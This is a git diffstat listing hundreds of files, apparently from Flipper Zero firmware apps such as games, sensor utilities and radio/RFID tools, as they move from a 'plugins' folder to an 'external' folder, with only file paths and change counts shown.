.../dap_link/icons/ArrowDownEmpty_12x18.png | Bin .../dap_link/icons/ArrowDownFilled_12x18.png | Bin .../dap_link/icons/ArrowUpEmpty_12x18.png | Bin .../dap_link/icons/ArrowUpFilled_12x18.png | Bin .../{plugins => external}/dap_link/usb/dap_v2_usb.c | 0 .../{plugins => external}/dap_link/usb/dap_v2_usb.h | 0 .../{plugins => external}/dap_link/usb/usb_winusb.h | 0 applications/{plugins => external}/doom/README.md | 0 .../{plugins => external}/doom/application.fam | 0 .../{plugins => external}/doom/assets/door2.png | Bin .../{plugins => external}/doom/assets/door_inv.png | Bin .../{plugins => external}/doom/assets/fire_inv.png | Bin .../doom/assets/fireball_inv.png | Bin .../doom/assets/fireball_mask_inv.png | Bin .../doom/assets/gradient_inv.png | Bin .../{plugins => external}/doom/assets/gun_inv.png | Bin .../doom/assets/gun_mask_inv.png | Bin .../{plugins => external}/doom/assets/imp_inv.png | Bin .../doom/assets/imp_mask_inv.png | Bin .../{plugins => external}/doom/assets/item_inv.png | Bin .../doom/assets/item_mask_inv.png | Bin .../{plugins => external}/doom/assets/logo_inv.png | Bin .../doom/assets/screenshot-imp2.jpg | Bin .../doom/assets/screenshot-intro2.jpg | Bin .../doom/assets/screenshot-medkit2.jpg | Bin .../doom/assets/screenshot-start2.jpg | Bin .../doom/assets/screenshot1.png | Bin .../doom/assets/screenshot2.png | Bin .../doom/assets/screenshot3.png | Bin .../doom/compiled/assets_icons.c | 0 .../doom/compiled/assets_icons.h | 0 applications/{plugins => external}/doom/constants.h | 0 applications/{plugins => external}/doom/display.h | 0 applications/{plugins => external}/doom/doom.c | 0 .../{plugins => external}/doom/doom_10px.png | Bin .../doom/doom_music_player_worker.c | 0 .../doom/doom_music_player_worker.h | 0 applications/{plugins => external}/doom/entities.c | 0 applications/{plugins => external}/doom/entities.h | 0 applications/{plugins => external}/doom/level.h | 0 applications/{plugins => external}/doom/sound.h | 0 applications/{plugins => external}/doom/types.c | 0 applications/{plugins => external}/doom/types.h | 0 .../{plugins => external}/dtmf_dolphin/LICENSE | 0 .../{plugins => external}/dtmf_dolphin/README.md | 0 .../dtmf_dolphin/application.fam | 0 .../dtmf_dolphin/dtmf_dolphin.c | 0 .../dtmf_dolphin/dtmf_dolphin_audio.c | 0 .../dtmf_dolphin/dtmf_dolphin_audio.h | 0 .../dtmf_dolphin/dtmf_dolphin_data.c | 0 .../dtmf_dolphin/dtmf_dolphin_data.h | 0 .../dtmf_dolphin/dtmf_dolphin_event.h | 0 .../dtmf_dolphin/dtmf_dolphin_hal.c | 0 .../dtmf_dolphin/dtmf_dolphin_hal.h | 0 .../dtmf_dolphin/dtmf_dolphin_i.h | 0 .../{plugins => external}/dtmf_dolphin/phone.png | Bin .../dtmf_dolphin/pics/dialer.jpg | Bin .../dtmf_dolphin/scenes/dtmf_dolphin_scene.c | 0 .../dtmf_dolphin/scenes/dtmf_dolphin_scene.h | 0 .../dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h | 0 .../dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c | 0 .../dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c | 0 .../dtmf_dolphin/views/dtmf_dolphin_common.h | 0 .../dtmf_dolphin/views/dtmf_dolphin_dialer.c | 0 .../dtmf_dolphin/views/dtmf_dolphin_dialer.h | 0 .../FlipperZeroWiFiDeauthModuleDefines.h | 0 .../esp8266_deauth/application.fam | 0 .../esp8266_deauth/esp8266_deauth.c | 0 .../esp8266_deauth/wifi_10px.png | Bin .../flappy_bird/application.fam | 0 .../flappy_bird/assets/bird/frame_01.png | Bin .../flappy_bird/assets/bird/frame_02.png | Bin .../flappy_bird/assets/bird/frame_03.png | Bin .../flappy_bird/assets/bird/frame_rate | 0 .../flappy_bird/flappy_10px.png | Bin .../{plugins => external}/flappy_bird/flappy_bird.c | 0 .../{plugins => external}/flashlight/LICENSE | 0 .../{plugins => external}/flashlight/README.md | 0 .../flashlight/application.fam | 0 .../{plugins => external}/flashlight/flash10px.png | Bin .../{plugins => external}/flashlight/flashlight.c | 0 .../{plugins => external}/flipfrid/LICENSE.md | 0 .../{plugins => external}/flipfrid/README.md | 0 .../{plugins => external}/flipfrid/application.fam | 0 .../{plugins => external}/flipfrid/flipfrid.c | 0 .../{plugins => external}/flipfrid/flipfrid.h | 0 .../flipfrid/images/125_10px.png | Bin .../{plugins => external}/flipfrid/rfid_10px.png | Bin .../flipfrid/scene/flipfrid_scene_entrypoint.c | 0 .../flipfrid/scene/flipfrid_scene_entrypoint.h | 0 .../scene/flipfrid_scene_load_custom_uids.c | 0 .../scene/flipfrid_scene_load_custom_uids.h | 0 .../flipfrid/scene/flipfrid_scene_load_file.c | 0 .../flipfrid/scene/flipfrid_scene_load_file.h | 0 .../flipfrid/scene/flipfrid_scene_run_attack.c | 0 .../flipfrid/scene/flipfrid_scene_run_attack.h | 0 .../flipfrid/scene/flipfrid_scene_select_field.c | 0 .../flipfrid/scene/flipfrid_scene_select_field.h | 0 .../flipper_i2ctools/README.md | 0 .../flipper_i2ctools/application.fam | 0 .../flipper_i2ctools/i2cscanner.c | 0 .../flipper_i2ctools/i2cscanner.h | 0 .../flipper_i2ctools/i2csender.c | 0 .../flipper_i2ctools/i2csender.h | 0 .../flipper_i2ctools/i2csniffer.c | 0 .../flipper_i2ctools/i2csniffer.h | 0 .../flipper_i2ctools/i2ctools.c | 0 .../flipper_i2ctools/i2ctools.gif | Bin .../flipper_i2ctools/i2ctools.png | Bin .../flipper_i2ctools/i2ctools_i.h | 0 .../flipper_i2ctools/images/ButtonDown_7x4.png | Bin .../flipper_i2ctools/images/ButtonLeft_4x7.png | Bin .../flipper_i2ctools/images/ButtonRight_4x7.png | Bin .../flipper_i2ctools/images/ButtonUp_7x4.png | Bin .../flipper_i2ctools/images/Ok_btn_9x9.png | Bin .../flipper_i2ctools/images/i2ctools_main_76x59.png | Bin .../flipper_i2ctools/views/main_view.c | 0 .../flipper_i2ctools/views/main_view.h | 0 .../flipper_i2ctools/views/scanner_view.c | 0 .../flipper_i2ctools/views/scanner_view.h | 0 .../flipper_i2ctools/views/sender_view.c | 0 .../flipper_i2ctools/views/sender_view.h | 0 .../flipper_i2ctools/views/sniffer_view.c | 0 .../flipper_i2ctools/views/sniffer_view.h | 0 applications/{plugins => external}/game15/README.md | 0 .../{plugins => external}/game15/application.fam | 0 applications/{plugins => external}/game15/game15.c | 0 .../{plugins => external}/game15/game15_10px.png | Bin .../{plugins => external}/game15/images/Game15.png | Bin .../game15/images/Game15Popup.png | Bin .../game15/images/Game15Restore.png | Bin applications/{plugins => external}/game15/sandbox.c | 0 applications/{plugins => external}/game15/sandbox.h | 0 .../{plugins => external}/game_2048/LICENSE | 0 .../{plugins => external}/game_2048/README.md | 0 .../{plugins => external}/game_2048/application.fam | 0 .../{plugins => external}/game_2048/array_utils.c | 0 .../{plugins => external}/game_2048/array_utils.h | 0 .../{plugins => external}/game_2048/digits.h | 0 .../{plugins => external}/game_2048/game_2048.c | 0 .../{plugins => external}/game_2048/game_2048.png | Bin .../game_2048/images/screenshot1.png | Bin .../game_2048/images/screenshot2.png | Bin .../game_of_life/application.fam | 0 .../game_of_life/game_of_life.c | 0 .../{plugins => external}/game_of_life/golIcon.png | Bin .../geigercounter/application.fam | 0 .../geigercounter/flipper_geiger.c | 0 .../{plugins => external}/geigercounter/geiger.png | Bin .../gpio_reader_a/GPIO_reader.c | 0 .../gpio_reader_a/GPIO_reader_item.c | 0 .../gpio_reader_a/GPIO_reader_item.h | 0 .../{plugins => external}/gpio_reader_a/README.md | 0 .../gpio_reader_a/application.fam | 0 .../{plugins => external}/gpio_reader_a/icon.png | Bin .../{plugins => external}/gpio_reader_b/LICENSE | 0 .../{plugins => external}/gpio_reader_b/README.md | 0 .../gpio_reader_b/application.fam | 0 .../{plugins => external}/gpio_reader_b/gpio_app.c | 0 .../{plugins => external}/gpio_reader_b/gpio_app.h | 0 .../gpio_reader_b/gpio_app_i.h | 0 .../gpio_reader_b/gpio_custom_event.h | 0 .../{plugins => external}/gpio_reader_b/gpio_item.c | 0 .../{plugins => external}/gpio_reader_b/gpio_item.h | 0 .../gpio_reader_b/gpioreader.png | Bin .../{plugins => external}/gpio_reader_b/icon.png | Bin .../gpio_reader_b/scenes/gpio_scene.c | 0 .../gpio_reader_b/scenes/gpio_scene.h | 0 .../gpio_reader_b/scenes/gpio_scene_config.h | 0 .../gpio_reader_b/scenes/gpio_scene_reader.c | 0 .../gpio_reader_b/scenes/gpio_scene_start.c | 0 .../gpio_reader_b/scenes/gpio_scene_test.c | 0 .../gpio_reader_b/scenes/gpio_scene_usb_uart.c | 0 .../scenes/gpio_scene_usb_uart_close_rpc.c | 0 .../scenes/gpio_scene_usb_uart_config.c | 0 .../gpio_reader_b/usb_uart_bridge.c | 0 .../gpio_reader_b/usb_uart_bridge.h | 0 .../gpio_reader_b/views/gpio_reader.c | 0 .../gpio_reader_b/views/gpio_reader.h | 0 .../gpio_reader_b/views/gpio_test.c | 0 .../gpio_reader_b/views/gpio_test.h | 0 .../gpio_reader_b/views/gpio_usb_uart.c | 0 .../gpio_reader_b/views/gpio_usb_uart.h | 0 .../{plugins => external}/gps_nmea_uart/LICENSE | 0 .../{plugins => external}/gps_nmea_uart/README.md | 0 .../gps_nmea_uart/application.fam | 0 .../{plugins => external}/gps_nmea_uart/gps.c | 0 .../gps_nmea_uart/gps_10px.png | Bin .../{plugins => external}/gps_nmea_uart/gps_uart.c | 0 .../{plugins => external}/gps_nmea_uart/gps_uart.h | 0 .../{plugins => external}/gps_nmea_uart/minmea.c | 0 .../{plugins => external}/gps_nmea_uart/minmea.h | 0 .../{plugins => external}/gps_nmea_uart/ui.png | Bin .../{plugins => external}/gps_nmea_uart/wiring.png | Bin .../{plugins => external}/hc_sr04/application.fam | 0 .../hc_sr04/dist_sensor10px.png | Bin .../{plugins => external}/hc_sr04/hc_sr04.c | 0 .../heap_defence_game/application.fam | 0 .../assets_images/Background_128x64.png | Bin .../heap_defence_game/assets_images/Box1_10x10.png | Bin .../heap_defence_game/assets_images/Box2_10x10.png | Bin .../heap_defence_game/assets_images/Box3_10x10.png | Bin .../heap_defence_game/assets_images/Box4_10x10.png | Bin .../heap_defence_game/assets_images/Box5_10x10.png | Bin .../heap_defence_game/assets_images/Box6p_10x10.png | Bin .../heap_defence_game/assets_images/Box7p_10x10.png | Bin .../heap_defence_game/assets_images/Box8p_10x10.png | Bin .../assets_images/Game_over_128x64.png | Bin .../assets_images/HD_game_over_128x64/frame_01.png | Bin .../assets_images/HD_game_over_128x64/frame_02.png | Bin .../assets_images/HD_game_over_128x64/frame_03.png | Bin .../assets_images/HD_game_over_128x64/frame_04.png | Bin .../assets_images/HD_game_over_128x64/frame_05.png | Bin .../assets_images/HD_game_over_128x64/frame_06.png | Bin .../assets_images/HD_game_over_128x64/frame_07.png | Bin .../assets_images/HD_game_over_128x64/frame_rate | 0 .../HD_person_block_left_10x20/frame_01.png | Bin .../HD_person_block_left_10x20/frame_02.png | Bin .../HD_person_block_left_10x20/frame_rate | 0 .../HD_person_block_right_10x20/frame_01.png | Bin .../HD_person_block_right_10x20/frame_02.png | Bin .../HD_person_block_right_10x20/frame_rate | 0 .../assets_images/HD_person_left_10x20/frame_01.png | Bin .../assets_images/HD_person_left_10x20/frame_02.png | Bin .../assets_images/HD_person_left_10x20/frame_03.png | Bin .../assets_images/HD_person_left_10x20/frame_04.png | Bin .../assets_images/HD_person_left_10x20/frame_rate | 0 .../HD_person_right_10x20/frame_01.png | Bin .../HD_person_right_10x20/frame_02.png | Bin .../HD_person_right_10x20/frame_03.png | Bin .../HD_person_right_10x20/frame_04.png | Bin .../assets_images/HD_person_right_10x20/frame_rate | 0 .../assets_images/HD_start_128x64/frame_01.png | Bin .../assets_images/HD_start_128x64/frame_02.png | Bin .../assets_images/HD_start_128x64/frame_03.png | Bin .../assets_images/HD_start_128x64/frame_04.png | Bin .../assets_images/HD_start_128x64/frame_rate | 0 .../assets_images/Person4_1_10x20.png | Bin .../assets_images/Person4_2_10x20.png | Bin .../assets_images/Person5_1_10x20.png | Bin .../assets_images/Person5_2_10x20.png | Bin .../assets_images/Start_128x64.png | Bin .../{plugins => external}/heap_defence_game/box.png | Bin .../heap_defence_game/heap_defence.c | 0 .../heap_defence_game/hede_assets.c | 0 .../heap_defence_game/hede_assets.h | 0 .../{plugins => external}/hex_viewer/LICENSE | 0 .../hex_viewer/application.fam | 0 .../{plugins => external}/hex_viewer/hex_viewer.c | 0 .../hex_viewer/icons/hex_10px.png | Bin .../{plugins => external}/hid_app/application.fam | 4 ++-- .../hid_app/assets/Arr_dwn_7x9.png | Bin .../hid_app/assets/Arr_up_7x9.png | Bin .../hid_app/assets/Ble_connected_15x15.png | Bin .../hid_app/assets/Ble_disconnected_15x15.png | Bin .../hid_app/assets/ButtonDown_7x4.png | Bin .../hid_app/assets/ButtonF10_5x8.png | Bin .../hid_app/assets/ButtonF11_5x8.png | Bin .../hid_app/assets/ButtonF12_5x8.png | Bin .../hid_app/assets/ButtonF1_5x8.png | Bin .../hid_app/assets/ButtonF2_5x8.png | Bin .../hid_app/assets/ButtonF3_5x8.png | Bin .../hid_app/assets/ButtonF4_5x8.png | Bin .../hid_app/assets/ButtonF5_5x8.png | Bin .../hid_app/assets/ButtonF6_5x8.png | Bin .../hid_app/assets/ButtonF7_5x8.png | Bin .../hid_app/assets/ButtonF8_5x8.png | Bin .../hid_app/assets/ButtonF9_5x8.png | Bin .../hid_app/assets/ButtonLeft_4x7.png | Bin .../hid_app/assets/ButtonRight_4x7.png | Bin .../hid_app/assets/ButtonUp_7x4.png | Bin .../hid_app/assets/Button_18x18.png | Bin .../hid_app/assets/Circles_47x47.png | Bin .../hid_app/assets/Left_mouse_icon_9x9.png | Bin .../hid_app/assets/Like_def_11x9.png | Bin .../hid_app/assets/Like_pressed_17x17.png | Bin .../hid_app/assets/Ok_btn_9x9.png | Bin .../hid_app/assets/Ok_btn_pressed_13x13.png | Bin .../hid_app/assets/Pin_arrow_down_7x9.png | Bin .../hid_app/assets/Pin_arrow_left_9x7.png | Bin .../hid_app/assets/Pin_arrow_right_9x7.png | Bin .../hid_app/assets/Pin_arrow_up_7x9.png | Bin .../hid_app/assets/Pin_back_arrow_10x8.png | Bin .../hid_app/assets/Pressed_Button_13x13.png | Bin .../hid_app/assets/Right_mouse_icon_9x9.png | Bin .../hid_app/assets/Space_65x18.png | Bin .../hid_app/assets/Voldwn_6x6.png | Bin .../hid_app/assets/Volup_8x6.png | Bin applications/{plugins => external}/hid_app/hid.c | 0 applications/{plugins => external}/hid_app/hid.h | 0 .../{plugins => external}/hid_app/hid_ble_10px.png | Bin .../{plugins => external}/hid_app/hid_usb_10px.png | Bin applications/{plugins => external}/hid_app/views.h | 0 .../hid_app/views/hid_keyboard.c | 0 .../hid_app/views/hid_keyboard.h | 0 .../hid_app/views/hid_keynote.c | 0 .../hid_app/views/hid_keynote.h | 0 .../{plugins => external}/hid_app/views/hid_media.c | 0 .../{plugins => external}/hid_app/views/hid_media.h | 0 .../{plugins => external}/hid_app/views/hid_mouse.c | 0 .../{plugins => external}/hid_app/views/hid_mouse.h | 0 .../hid_app/views/hid_mouse_jiggler.c | 0 .../hid_app/views/hid_mouse_jiggler.h | 0 .../hid_app/views/hid_tiktok.c | 0 .../hid_app/views/hid_tiktok.h | 0 .../{plugins => external}/ibtn_fuzzer/LICENSE.md | 0 .../ibtn_fuzzer/application.fam | 0 .../{plugins => external}/ibtn_fuzzer/ibtnfuzzer.c | 0 .../{plugins => external}/ibtn_fuzzer/ibtnfuzzer.h | 0 .../ibtn_fuzzer/ibutt_10px.png | Bin .../ibtn_fuzzer/images/ibutt_10px.png | Bin .../ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c | 0 .../ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h | 0 .../scene/ibtnfuzzer_scene_load_custom_uids.c | 0 .../scene/ibtnfuzzer_scene_load_custom_uids.h | 0 .../ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c | 0 .../ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h | 0 .../ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c | 0 .../ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h | 0 .../scene/ibtnfuzzer_scene_select_field.c | 0 .../scene/ibtnfuzzer_scene_select_field.h | 0 .../{plugins => external}/ifttt/application.fam | 0 applications/{plugins => external}/ifttt/icon.png | Bin .../ifttt/ifttt_virtual_button.c | 0 .../ifttt/ifttt_virtual_button.h | 0 .../ifttt/scenes/virtual_button_scene.c | 0 .../ifttt/scenes/virtual_button_scene.h | 0 .../ifttt/scenes/virtual_button_scene_about.c | 0 .../ifttt/scenes/virtual_button_scene_config.h | 0 .../ifttt/scenes/virtual_button_scene_send.c | 0 .../ifttt/scenes/virtual_button_scene_start.c | 0 .../{plugins => external}/ifttt/views/about_view.c | 0 .../{plugins => external}/ifttt/views/about_view.h | 0 .../{plugins => external}/ifttt/views/send_view.c | 0 .../{plugins => external}/ifttt/views/send_view.h | 0 .../{plugins => external}/ir_remote/application.fam | 0 .../ir_remote/images/ButtonDown_7x4.png | Bin .../ir_remote/images/ButtonLeft_4x7.png | Bin .../ir_remote/images/ButtonRight_4x7.png | Bin .../ir_remote/images/ButtonUp_7x4.png | Bin .../ir_remote/images/Ok_btn_9x9.png | Bin .../ir_remote/images/back_10px.png | Bin .../ir_remote/images/sub1_10px.png | Bin .../ir_remote/infrared_remote.c | 0 .../ir_remote/infrared_remote.h | 0 .../ir_remote/infrared_remote_app.c | 0 .../ir_remote/infrared_remote_button.c | 0 .../ir_remote/infrared_remote_button.h | 0 .../ir_remote/infrared_signal.c | 0 .../ir_remote/infrared_signal.h | 0 .../{plugins => external}/ir_remote/ir_10px.png | Bin .../{plugins => external}/lightmeter/LICENSE | 0 .../{plugins => external}/lightmeter/README.md | 0 .../lightmeter/application.fam | 0 .../lightmeter/gui/scenes/config/lightmeter_scene.c | 0 .../lightmeter/gui/scenes/config/lightmeter_scene.h | 0 .../gui/scenes/config/lightmeter_scene_config.h | 0 .../lightmeter/gui/scenes/lightmeter_scene_about.c | 0 .../lightmeter/gui/scenes/lightmeter_scene_config.c | 0 .../lightmeter/gui/scenes/lightmeter_scene_help.c | 0 .../lightmeter/gui/scenes/lightmeter_scene_main.c | 0 .../lightmeter/gui/views/main_view.c | 0 .../lightmeter/gui/views/main_view.h | 0 .../lightmeter/icons/T_10x14.png | Bin .../lightmeter/icons/f_10x14.png | Bin .../lightmeter/lib/BH1750/BH1750.c | 0 .../lightmeter/lib/BH1750/BH1750.h | 0 .../lightmeter/lib/BH1750/LICENSE | 0 .../lightmeter/lib/BH1750/README.md | 0 .../lightmeter/lib/BH1750/docs/BH1750.pdf | Bin .../{plugins => external}/lightmeter/lightmeter.c | 0 .../{plugins => external}/lightmeter/lightmeter.h | 0 .../{plugins => external}/lightmeter/lightmeter.png | Bin .../lightmeter/lightmeter_config.h | 0 .../lightmeter/lightmeter_helper.c | 0 .../lightmeter/lightmeter_helper.h | 0 .../{plugins => external}/mandelbrot/Mandelbrot.png | Bin .../mandelbrot/application.fam | 0 .../{plugins => external}/mandelbrot/mandelbrot.c | 0 .../{plugins => external}/metronome/README.md | 0 .../{plugins => external}/metronome/application.fam | 0 .../metronome/gui_extensions.c | 0 .../metronome/gui_extensions.h | 0 .../metronome/images/ButtonUp_7x4.png | Bin .../metronome/img/screenshot.png | Bin .../metronome/img/wave_left_4x14.png | Bin .../metronome/img/wave_right_4x14.png | Bin .../{plugins => external}/metronome/metronome.c | 0 .../metronome/metronome_icon.png | Bin .../{plugins => external}/minesweeper/LICENSE | 0 .../{plugins => external}/minesweeper/README.md | 0 .../minesweeper/application.fam | 0 .../{plugins => external}/minesweeper/assets.h | 0 .../{plugins => external}/minesweeper/assets/asset | 0 .../minesweeper/assets/mockup.png | Bin .../minesweeper/assets/tile_0.png | Bin .../minesweeper/assets/tile_0.xbm | 0 .../minesweeper/assets/tile_1.png | Bin .../minesweeper/assets/tile_1.xbm | 0 .../minesweeper/assets/tile_2.png | Bin .../minesweeper/assets/tile_2.xbm | 0 .../minesweeper/assets/tile_3.png | Bin .../minesweeper/assets/tile_3.xbm | 0 .../minesweeper/assets/tile_4.png | Bin .../minesweeper/assets/tile_4.xbm | 0 .../minesweeper/assets/tile_5.png | Bin .../minesweeper/assets/tile_5.xbm | 0 .../minesweeper/assets/tile_6.png | Bin .../minesweeper/assets/tile_6.xbm | 0 .../minesweeper/assets/tile_7.png | Bin .../minesweeper/assets/tile_7.xbm | 0 .../minesweeper/assets/tile_8.png | Bin .../minesweeper/assets/tile_8.xbm | 0 .../minesweeper/assets/tile_empty.png | Bin .../minesweeper/assets/tile_flag.png | Bin .../minesweeper/assets/tile_flag.xbm | 0 .../minesweeper/assets/tile_mine.png | Bin .../minesweeper/assets/tile_mine.xbm | 0 .../minesweeper/assets/tile_uncleared.png | Bin .../minesweeper/assets/tile_uncleared.xbm | 0 .../minesweeper/img/screenshot.png | Bin .../{plugins => external}/minesweeper/minesweeper.c | 0 .../minesweeper/minesweeper_icon.png | Bin .../morse_code/application.fam | 0 .../{plugins => external}/morse_code/morse_code.c | 0 .../morse_code/morse_code_10px.png | Bin .../morse_code/morse_code_worker.c | 0 .../morse_code/morse_code_worker.h | 0 .../mousejacker/application.fam | 0 .../mousejacker/images/badusb_10px.png | Bin .../mousejacker/images/sub1_10px.png | Bin .../mousejacker/lib/nrf24/nrf24.c | 0 .../mousejacker/lib/nrf24/nrf24.h | 0 .../mousejacker/mouse_10px.png | Bin .../{plugins => external}/mousejacker/mousejacker.c | 0 .../mousejacker/mousejacker_ducky.c | 0 .../mousejacker/mousejacker_ducky.h | 0 .../multi_converter/application.fam | 0 .../multi_converter/converter_10px.png | Bin .../multi_converter/multi_converter.c | 0 .../multi_converter/multi_converter_definitions.h | 0 .../multi_converter/multi_converter_mode_display.c | 0 .../multi_converter/multi_converter_mode_display.h | 0 .../multi_converter/multi_converter_mode_select.c | 0 .../multi_converter/multi_converter_mode_select.h | 0 .../multi_converter/multi_converter_units.c | 0 .../multi_converter/multi_converter_units.h | 0 .../multi_dice/application.fam | 0 .../{plugins => external}/multi_dice/dice.c | 0 .../{plugins => external}/multi_dice/dice.png | Bin .../music_beeper/application.fam | 0 .../music_beeper/icons/music_10px.png | Bin .../music_beeper/music_10px.png | Bin .../music_beeper/music_beeper.c | 0 .../music_beeper/music_beeper_cli.c | 0 .../music_beeper/music_beeper_worker.c | 0 .../music_beeper/music_beeper_worker.h | 0 .../music_player/application.fam | 2 +- .../music_player/icons/music_10px.png | Bin .../music_player/music_player.c | 0 .../music_player/music_player_cli.c | 0 .../music_player/music_player_worker.c | 0 .../music_player/music_player_worker.h | 0 .../musictracker/.github/workflows/build_dev.yml | 0 .../{plugins => external}/musictracker/README.md | 0 .../musictracker/application.fam | 2 +- .../musictracker/icons/.gitignore | 0 .../musictracker/tracker_engine/speaker_hal.c | 0 .../musictracker/tracker_engine/speaker_hal.h | 0 .../musictracker/tracker_engine/tracker.c | 0 .../musictracker/tracker_engine/tracker.h | 0 .../musictracker/tracker_engine/tracker_notes.h | 0 .../musictracker/tracker_engine/tracker_song.h | 0 .../musictracker/view/tracker_view.c | 0 .../musictracker/view/tracker_view.h | 0 .../musictracker/zero_tracker.c | 0 .../musictracker/zero_tracker.h | 0 .../musictracker/zero_tracker.png | Bin .../{plugins => external}/nfc_magic/application.fam | 0 .../nfc_magic/assets/DolphinCommon_56x48.png | Bin .../nfc_magic/assets/DolphinNice_96x59.png | Bin .../nfc_magic/assets/Loading_24.png | Bin .../nfc_magic/assets/NFC_manual_60x50.png | Bin .../nfc_magic/lib/magic/magic.c | 0 .../nfc_magic/lib/magic/magic.h | 0 .../{plugins => external}/nfc_magic/nfc_magic.c | 0 .../{plugins => external}/nfc_magic/nfc_magic.h | 0 .../{plugins => external}/nfc_magic/nfc_magic_i.h | 0 .../nfc_magic/nfc_magic_worker.c | 0 .../nfc_magic/nfc_magic_worker.h | 0 .../nfc_magic/nfc_magic_worker_i.h | 0 .../nfc_magic/scenes/nfc_magic_scene.c | 0 .../nfc_magic/scenes/nfc_magic_scene.h | 0 .../nfc_magic/scenes/nfc_magic_scene_check.c | 0 .../nfc_magic/scenes/nfc_magic_scene_config.h | 0 .../nfc_magic/scenes/nfc_magic_scene_file_select.c | 0 .../nfc_magic/scenes/nfc_magic_scene_magic_info.c | 0 .../nfc_magic/scenes/nfc_magic_scene_not_magic.c | 0 .../nfc_magic/scenes/nfc_magic_scene_start.c | 0 .../nfc_magic/scenes/nfc_magic_scene_success.c | 0 .../nfc_magic/scenes/nfc_magic_scene_wipe.c | 0 .../nfc_magic/scenes/nfc_magic_scene_wipe_fail.c | 0 .../nfc_magic/scenes/nfc_magic_scene_write.c | 0 .../scenes/nfc_magic_scene_write_confirm.c | 0 .../nfc_magic/scenes/nfc_magic_scene_write_fail.c | 0 .../nfc_magic/scenes/nfc_magic_scene_wrong_card.c | 0 .../nightstand/application.fam | 0 .../{plugins => external}/nightstand/clock.png | Bin .../{plugins => external}/nightstand/clock_app.c | 0 .../{plugins => external}/nightstand/clock_app.h | 0 .../{plugins => external}/nrf24scan/LICENSE | 0 .../{plugins => external}/nrf24scan/README.md | 0 .../nrf24scan/Screenshot-1.png | Bin .../nrf24scan/Screenshot-2.png | Bin .../nrf24scan/Screenshot-3.png | Bin .../nrf24scan/Screenshot-4.png | Bin .../nrf24scan/Screenshot-5.png | Bin .../nrf24scan/Screenshot-6.png | Bin .../nrf24scan/Screenshot-7.png | Bin .../{plugins => external}/nrf24scan/application.fam | 0 .../nrf24scan/lib/nrf24/nrf24.c | 0 .../nrf24scan/lib/nrf24/nrf24.h | 0 .../nrf24scan/nrf24_packet_decoder.py | 0 .../{plugins => external}/nrf24scan/nrf24scan.c | 0 .../{plugins => external}/nrf24scan/nrf24scan.h | 0 .../nrf24scan/nrf24scan_10px.png | Bin .../{plugins => external}/nrfsniff/application.fam | 0 .../nrfsniff/lib/nrf24/nrf24.c | 0 .../nrfsniff/lib/nrf24/nrf24.h | 0 .../{plugins => external}/nrfsniff/nrfsniff.c | 0 .../nrfsniff/nrfsniff_10px.png | Bin .../{plugins => external}/ocarina/README.md | 0 .../{plugins => external}/ocarina/application.fam | 0 .../ocarina/icons/music_10px.png | Bin .../{plugins => external}/ocarina/ocarina.c | 0 .../orgasmotron/application.fam | 0 .../{plugins => external}/orgasmotron/orgasmotron.c | 0 .../orgasmotron/orgasmotron_10px.png | Bin .../{plugins => external}/paint/application.fam | 0 applications/{plugins => external}/paint/paint.c | 0 .../{plugins => external}/paint/paintIcon.png | Bin applications/{plugins => external}/passgen/LICENSE | 0 .../{plugins => external}/passgen/README.md | 0 .../{plugins => external}/passgen/application.fam | 2 +- .../passgen/icons/Horizontal_arrow_9x7.png | Bin .../passgen/icons/Ok_btn_9x9.png | Bin .../passgen/icons/Pin_back_arrow_10x8.png | Bin .../passgen/icons/Vertical_arrow_7x9.png | Bin .../passgen/icons/passgen_icon.png | Bin .../passgen/images/preview.png | Bin .../{plugins => external}/passgen/passgen.c | 0 .../{plugins => external}/picopass/125_10px.png | Bin .../{plugins => external}/picopass/application.fam | 0 .../picopass/helpers/iclass_elite_dict.c | 0 .../picopass/helpers/iclass_elite_dict.h | 0 .../picopass/icons/DolphinMafia_115x62.png | Bin .../picopass/icons/DolphinNice_96x59.png | Bin .../picopass/icons/Nfc_10px.png | Bin .../picopass/icons/RFIDDolphinReceive_97x61.png | Bin .../picopass/icons/RFIDDolphinSend_97x61.png | Bin .../picopass/lib/loclass/optimized_cipher.c | 0 .../picopass/lib/loclass/optimized_cipher.h | 0 .../picopass/lib/loclass/optimized_cipherutils.c | 0 .../picopass/lib/loclass/optimized_cipherutils.h | 0 .../picopass/lib/loclass/optimized_elite.c | 0 .../picopass/lib/loclass/optimized_elite.h | 0 .../picopass/lib/loclass/optimized_ikeys.c | 0 .../picopass/lib/loclass/optimized_ikeys.h | 0 .../{plugins => external}/picopass/picopass.c | 0 .../{plugins => external}/picopass/picopass.h | 0 .../picopass/picopass_device.c | 0 .../picopass/picopass_device.h | 0 .../{plugins => external}/picopass/picopass_i.h | 0 .../{plugins => external}/picopass/picopass_keys.c | 0 .../{plugins => external}/picopass/picopass_keys.h | 0 .../picopass/picopass_worker.c | 0 .../picopass/picopass_worker.h | 0 .../picopass/picopass_worker_i.h | 0 .../{plugins => external}/picopass/rfal_picopass.c | 0 .../{plugins => external}/picopass/rfal_picopass.h | 0 .../picopass/scenes/picopass_scene.c | 0 .../picopass/scenes/picopass_scene.h | 0 .../picopass/scenes/picopass_scene_card_menu.c | 0 .../picopass/scenes/picopass_scene_config.h | 0 .../picopass/scenes/picopass_scene_delete.c | 0 .../picopass/scenes/picopass_scene_delete_success.c | 0 .../picopass/scenes/picopass_scene_device_info.c | 0 .../picopass/scenes/picopass_scene_file_select.c | 0 .../picopass/scenes/picopass_scene_key_menu.c | 0 .../picopass/scenes/picopass_scene_read_card.c | 0 .../scenes/picopass_scene_read_card_success.c | 0 .../scenes/picopass_scene_read_factory_success.c | 0 .../picopass/scenes/picopass_scene_save_name.c | 0 .../picopass/scenes/picopass_scene_save_success.c | 0 .../picopass/scenes/picopass_scene_saved_menu.c | 0 .../picopass/scenes/picopass_scene_start.c | 0 .../picopass/scenes/picopass_scene_write_card.c | 0 .../scenes/picopass_scene_write_card_success.c | 0 .../picopass/scenes/picopass_scene_write_key.c | 0 .../pocsag_pager/application.fam | 2 +- .../pocsag_pager/helpers/pocsag_pager_event.h | 0 